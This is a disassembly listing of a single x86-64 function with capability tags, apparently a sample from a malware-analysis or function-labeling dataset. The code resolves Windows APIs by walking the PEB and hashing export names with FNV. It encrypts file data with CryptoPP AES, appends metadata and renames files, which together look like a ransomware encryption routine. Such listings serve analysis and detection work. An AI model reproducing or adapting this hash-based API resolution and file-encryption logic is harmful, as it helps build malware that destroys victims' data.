Function at 0x140028380
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Hash data using fnv
Move file
Resolve function by parsing pe exports
Set file attributes

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xe0]
sub rsp, 0x1e0
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov qword [rsp + 0x230], rbx
mov rax, qword [0x140134190]
xor rax, rsp
mov qword [rbp + 0xd8], rax
mov r13, rdx
mov r15, rcx
mov qword [rsp + 0x30], rcx
mov ecx, dword [rdx + 0x28]
test ecx, ecx
je 0x1400289ca
sub ecx, 1
je 0x1400285e1
cmp ecx, 1
jne 0x140028d49
mov rax, qword [rdx + 0x30]
mov qword [rsp + 0x48], rax
xor r14d, r14d
mov qword [rbp - 0x68], r14
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov rcx, rax
mov r9d, 0x8000
lea r8, [rbp - 0x68]
lea rdx, [rsp + 0x48]
call qword [sym.imp.NTDLL.dll_NtFreeVirtualMemory]
lea edx, [r14 + 0x40]
mov rcx, r13
call fcn.14007c4f0
mov rax, qword [r15 + 0x58]
mov edi, 0x300
add rax, rdi
mov qword [rbp - 0x60], rax
mov dword [rsp + 0x20], 0x14
lea r9d, [r14 + 8]
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0xb0]
mov rcx, qword [r15]
call qword [sym.imp.NTDLL.dll_NtSetInformationFile]
lea rdi, [r15 + 8]
xor eax, eax
mov ecx, 0x20
rep stosb byte [rdi], al
mov rcx, qword [r15]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
lea rcx, [rbp + 0xc0]
call fcn.140027f10
lea rdx, [r15 + 0x68]
mov r8, qword [r15 + 0x80]
cmp r8, 8
jb 0x140028486
mov rdx, qword [r15 + 0x68]
mov rdi, qword [r15 + 0x78]
mov rbx, 0xffffffffffffffff
test rdi, rdi
je 0x1400284c7
lea rcx, [rdi - 1]
mov rax, rbx
cmp rcx, rbx
cmovb rax, rcx
lea rcx, [rdx + rax*2]
cmp word [rcx], 0x5c
je 0x1400284bf
nop
cmp rcx, rdx
je 0x1400284c7
sub rcx, 2
cmp word [rcx], 0x5c
jne 0x1400284b0
sub rcx, rdx
sar rcx, 1
jmp 0x1400284ca
mov rcx, rbx
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], 7
mov word [rsp + 0x60], r14w
lea rdx, [rcx + 1]
cmp rdi, rdx
cmovb rdx, rdi
lea r9, [r15 + 0x68]
cmp r8, 8
jb 0x1400284f7
mov r9, qword [r15 + 0x68]
lea rcx, [rsp + 0x60]
cmp rdx, 7
ja 0x14002851e
mov qword [rsp + 0x70], rdx
lea rdi, [rdx + rdx]
mov r8, rdi
mov rdx, r9
call fcn.1400a1550
mov word [rsp + rdi + 0x60], r14w
jmp 0x140028524
call fcn.14002f7b0
nop
lea rax, [rbp + 0xc0]
nop dword [rax + rax]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x140028530
mov r8, rbx
lea rdx, [rbp + 0xc0]
lea rcx, [rsp + 0x60]
call fcn.14002cec0
lea rdx, [0x14013d4f8]
cmp qword [0x14013d510], 8
cmovae rdx, qword [0x14013d4f8]
mov r8, qword [0x14013d508]
lea rcx, [rsp + 0x60]
call fcn.14002cec0
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae rdx, qword [rsp + 0x60]
lea rcx, [r15 + 0x68]
cmp qword [r15 + 0x80], 8
jb 0x140028599
mov rcx, qword [r15 + 0x68]
call qword [sym.imp.KERNEL32.DLL_MoveFileW]
mov edi, eax
lea rcx, [rsp + 0x60]
call fcn.14002cde0
lea rcx, [r15 + 0x68]
call fcn.14002cde0
mov edx, 0x88
mov rcx, r15
call fcn.14007c4f0
call fcn.140024f10
test edi, edi
je 0x140028d49
mov eax, 1
lock xadd qword [0x140146220], rax
jmp 0x140028d49
mov rax, qword [rdx + 0x30]
mov qword [rsp + 0x50], rax
xor esi, esi
mov qword [rbp - 0x58], rsi
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov rcx, rax
mov r9d, 0x8000
lea r8, [rbp - 0x58]
lea rdx, [rsp + 0x50]
call qword [sym.imp.NTDLL.dll_NtFreeVirtualMemory]
mov rbx, 0xffffffffffffffff
mov eax, ebx
lock xadd dword [r15 + 0x48], eax
cmp eax, 1
jne 0x140028d49
mov rcx, qword [r15 + 0x40]
call fcn.14007c4f0
lea ecx, [rsi + 0x40]
call fcn.14007c4b4
mov r12, rax
mov ecx, dword [r15 + 0x60]
xor edx, edx
mov edi, 0x300
mov eax, edi
div rcx
sub rcx, rdx
add rcx, rdi
test rdx, rdx
cmove rcx, rdi
mov qword [r12 + 0x38], rcx
xor eax, eax
mov qword [r12], rax
mov qword [r12 + 8], rax
mov qword [r12 + 0x10], rax
mov qword [r12 + 0x18], rax
mov eax, dword [r15 + 0x58]
mov dword [r12 + 0x10], eax
mov eax, dword [r15 + 0x5c]
mov dword [r12 + 0x14], eax
mov dword [r12 + 0x28], 2
mov rax, qword [r12 + 0x38]
mov qword [rbp - 0x80], rax
mov qword [rsp + 0x40], rsi
nop word [rax + rax]
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov rcx, rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp - 0x80]
xor r8d, r8d
lea rdx, [rsp + 0x40]
call qword [sym.imp.NTDLL.dll_NtAllocateVirtualMemory]
test eax, eax
jne 0x1400286a0
mov rdi, qword [rsp + 0x40]
mov qword [r12 + 0x30], rdi
movaps xmm0, xmmword [0x140146180]
movups xmmword [rdi + 0x284], xmm0
movaps xmm1, xmmword [0x140146190]
movups xmmword [rdi + 0x294], xmm1
movaps xmm0, xmmword [0x1401461a0]
movups xmmword [rdi + 0x2a4], xmm0
movaps xmm1, xmmword [0x1401461b0]
movups xmmword [rdi + 0x2b4], xmm1
movaps xmm0, xmmword [0x1401461c0]
movups xmmword [rdi + 0x2c4], xmm0
movaps xmm1, xmmword [0x1401461d0]
movups xmmword [rdi + 0x2d4], xmm1
movaps xmm0, xmmword [0x1401461e0]
movups xmmword [rdi + 0x2e4], xmm0
movsd xmm1, qword [0x1401461f0]
movsd qword [rdi + 0x2f4], xmm1
mov eax, dword [0x1401461f8]
mov dword [rdi + 0x2fc], eax
lea rcx, [r15 + 0x68]
cmp qword [rcx + 0x18], 8
jb 0x140028765
mov rcx, qword [rcx]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
nop dword [rax + rax]
lea rbx, [rbx + 1]
cmp word [rax + rbx*2], si
jne 0x140028770
lea r8, [rbx + rbx]
lea rcx, [rdi + 0x3c]
mov rdx, rax
call fcn.1400a1550
mov rax, qword [r15 + 0x50]
mov qword [rdi + 0x30], rax
mov eax, dword [r15 + 0x60]
mov dword [rdi + 0x38], eax
movups xmm0, xmmword [r15 + 8]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [r15 + 0x18]
movups xmmword [rdi + 0x10], xmm1
movups xmm0, xmmword [r15 + 0x28]
movups xmmword [rdi + 0x20], xmm0
lea rdx, [rdi + 0x248]
lea r9, [0x140146200]
mov r8d, 0x248
mov rcx, rdi
call fcn.140048490
mov rdi, qword [0x140146e90]
test rdi, rdi
jne 0x14002898f
mov ebx, esi
mov r11d, 0x10681fbd
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rsp + 0x50], xmm0
movd ecx, xmm0
sub cx, 8
test ebx, ebx
je 0x140028872
mov rdi, qword [rsp + 0x58]
movzx ecx, cx
shr rcx, 1
lea rdx, [rdi + rcx*2]
mov r10d, 0x4cd344d4
mov r8, rsi
mov r9, rdx
sub r9, rdi
inc r9
shr r9, 1
cmp rdi, rdx
cmova r9, rsi
test r9, r9
je 0x140028869
nop word [rax + rax]
movsx ecx, byte [rdi]
xor ecx, r10d
imul r10d, ecx, 0x1000193
lea rdi, [rdi + 2]
inc r8
cmp r8, r9
jne 0x140028850
cmp r10d, ebx
jne 0x14002897b
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov esi, ecx
add rsi, r10
shr rcx, 0x20
cmp rsi, r10
je 0x140028979
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140028979
mov r15d, dword [rsi + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov edi, dword [rdx + r15]
add rdi, r10
mov r8d, 0x4cd344d4
movzx edx, byte [rdi]
inc rdi
test dl, dl
je 0x1400288e8
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rdi]
lea rdi, [rdi + 1]
test dl, dl
jne 0x1400288d0
cmp r8d, r11d
je 0x1400288fc
test r9d, r9d
jne 0x1400288b0
xor esi, esi
mov rax, qword [rax]
jmp 0x140028800
mov edx, dword [rsi + 0x24]
add rdx, r10
movzx edi, word [rdx + r9*2]
mov edx, dword [rsi + 0x1c]
add rdx, r10
mov edi, dword [rdx + rdi*4]
add rdi, r10
cmp rdi, rsi
jbe 0x140028983
lea rax, [rsi + rcx]
cmp rdi, rax
jae 0x140028983
mov ebx, 0x4cd344d4
mov r11d, ebx
movzx eax, byte [rdi]
cmp al, 0x2e
je 0x140028945
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
inc rdi
movzx eax, byte [rdi]
cmp al, 0x2e
jne 0x140028930
inc rdi
movzx eax, byte [rdi]
test al, al
je 0x140028968
nop
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
lea rdi, [rdi + 1]
movzx eax, byte [rdi]
test al, al
jne 0x140028950
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
xor esi, esi
mov rax, qword [rax]
jmp 0x140028800
mov qword [0x140146e90], rdi
mov r15, qword [rsp + 0x30]
mov qword [rsp + 0x20], r12
lea r9, [rbp - 0x70]
mov r8d, dword [r12 + 0x38]
mov rdx, qword [r12 + 0x30]
mov rcx, qword [r15]
call rdi
test eax, eax
jne 0x140028d49
call qword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x3e5
je 0x140028d49
call fcn.140024f10
jmp 0x140028d49
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp - 0x50]
call fcn.1400a19b0
lea rax, [rbp + 0x48]
mov qword [rbp - 0x80], rax
mov dl, 1
lea rcx, [rbp + 0x50]
call fcn.140056a80
movabs rax, 0x3fffffffffffffff
mov qword [rbp + 0x70], rax
xor esi, esi
mov qword [rbp + 0x78], rsi
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x68]
call fcn.14002e190
mov qword [rbp + 0x80], rax
mov rbx, 0xffffffffffffffff
mov qword [rbp + 0x90], rbx
mov qword [rbp + 0x98], rsi
mov qword [rbp + 0xa0], rsi
lea rax, vtable.CryptoPP::BlockCipherFinal_0__class_CryptoPP::Rijndael::Enc_.0
mov qword [rbp + 0x48], rax
lea rax, vtable.CryptoPP::BlockCipherFinal_0__class_CryptoPP::Rijndael::Enc_.1.0
mov qword [rbp + 0x50], rax
mov dl, 1
lea rcx, [rbp - 0x48]
call fcn.140056a80
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], rsi
mov qword [rbp - 0x20], rsi
mov qword [rbp - 8], rbx
mov qword [rbp], rsi
mov qword [rbp + 8], rsi
mov dl, 1
lea rcx, [rbp + 0x10]
call fcn.140056a80
mov qword [rbp + 0x20], rbx
mov qword [rbp + 0x28], rsi
mov qword [rbp + 0x30], rsi
mov qword [rbp + 0x38], rsi
lea rax, [0x140112b88]
mov qword [rbp - 0x50], rax
lea rax, [0x140112978]
mov qword [rbp - 0x48], rax
lea rax, [0x140112c48]
mov qword [rbp - 0x18], rax
lea rax, [0x140112d38]
mov qword [rbp + 0x10], rax
lea rax, [rbp + 0x48]
mov qword [rbp - 0x40], rax
lea rcx, [rbp - 0x50]
call fcn.14005b9f0
nop
lea rcx, [rbp - 0x50]
mov rax, qword [rbp - 0x50]
call qword [rax + 0x40]
mov eax, eax
lea r9, [r15 + 0x28]
lea rdx, [r15 + 8]
mov qword [rsp + 0x20], rax
lea r8d, [rsi + 0x20]
lea rcx, [rbp - 0x50]
call fcn.140059280
mov eax, dword [r15 + 0x38]
mov rdx, qword [r13 + 0x20]
imul rdx, rax
lea rcx, [rbp - 0x48]
call fcn.14005b3c0
mov rdx, qword [r13 + 0x30]
mov r9d, dword [r15 + 0x38]
mov r8, rdx
lea rcx, [rbp - 0x48]
call fcn.14005ae00
mov eax, 1
mov dword [r13 + 0x28], eax
mov rdi, qword [0x140146de8]
test rdi, rdi
jne 0x140028cde
mov ebx, esi
mov r11d, 0x436a1b83
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp - 0x80], xmm0
movd ecx, xmm0
sub cx, 8
test ebx, ebx
je 0x140028bb5
mov rdi, qword [rbp - 0x78]
movzx ecx, cx
shr rcx, 1
lea rdx, [rdi + rcx*2]
mov r10d, 0x6059fc1a
mov r8, rsi
mov r9, rdx
sub r9, rdi
inc r9
shr r9, 1
cmp rdi, rdx
cmova r9, rsi
test r9, r9
je 0x140028bac
movsx ecx, byte [rdi]
xor ecx, r10d
imul r10d, ecx, 0x1000193
add rdi, 2
inc r8
cmp r8, r9
jne 0x140028b93
cmp r10d, ebx
jne 0x140028cca
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov r14d, ecx
add r14, r10
shr rcx, 0x20
cmp r14, r10
je 0x140028cca
mov r9d, dword [r14 + 0x18]
test r9d, r9d
je 0x140028cca
mov r15d, dword [r14 + 0x20]
nop dword [rax]
dec r9d
lea rdx, [r10 + r9*4]
mov edx, dword [rdx + r15]
add rdx, r10
mov r8d, 0x6059fc1a
movzx edi, byte [rdx]
inc rdx
test dil, dil
je 0x140028c2a
nop
movsx edi, dil
xor edi, r8d
imul r8d, edi, 0x1000193
movzx edi, byte [rdx]
lea rdx, [rdx + 1]
test dil, dil
jne 0x140028c10
cmp r8d, r11d
je 0x140028c3e
test r9d, r9d
jne 0x140028bf0
xor esi, esi
mov rax, qword [rax]
jmp 0x140028b50
mov edx, dword [r14 + 0x1c]
add rdx, r10
mov eax, dword [r14 + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rdx + rax*4]
add rdi, r10
cmp rdi, r14
jbe 0x140028cd2
lea rax, [r14 + rcx]
cmp rdi, rax
jae 0x140028cd2
mov ebx, 0x6059fc1a
mov r11d, ebx
movzx eax, byte [rdi]
cmp al, 0x2e
je 0x140028c95
nop dword [rax]
nop dword [rax + rax]
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
inc rdi
movzx eax, byte [rdi]
cmp al, 0x2e
jne 0x140028c80
inc rdi
movzx eax, byte [rdi]
test al, al
je 0x140028cb7
nop
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
inc rdi
movzx eax, byte [rdi]
test al, al
jne 0x140028ca0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
xor esi, esi
mov rax, qword [rax]
jmp 0x140028b50
mov qword [0x140146de8], rdi
mov r15, qword [rsp + 0x30]
mov qword [rsp + 0x20], r13
lea r9, [rbp - 0x6c]
mov r8d, dword [r15 + 0x38]
mov rdx, qword [r13 + 0x30]
mov rcx, qword [r15]
call rdi
test eax, eax
jne 0x140028d0b
call qword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x3e5
je 0x140028d0b
call fcn.140024f10
nop
lea rax, [0x1400efb20]
mov qword [rbp - 0x50], rax
lea rax, [0x1400efbc8]
mov qword [rbp - 0x48], rax
lea rax, [0x1400efc50]
mov qword [rbp - 0x18], rax
lea rax, [0x1400efcc0]
mov qword [rbp + 0x10], rax
lea rcx, [rbp - 0x50]
call fcn.14002a7c0
lea rcx, [rbp + 0x48]
call fcn.140028e10
mov rcx, qword [rbp + 0xd8]
xor rcx, rsp
call fcn.14007c490
mov rbx, qword [rsp + 0x230]
add rsp, 0x1e0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret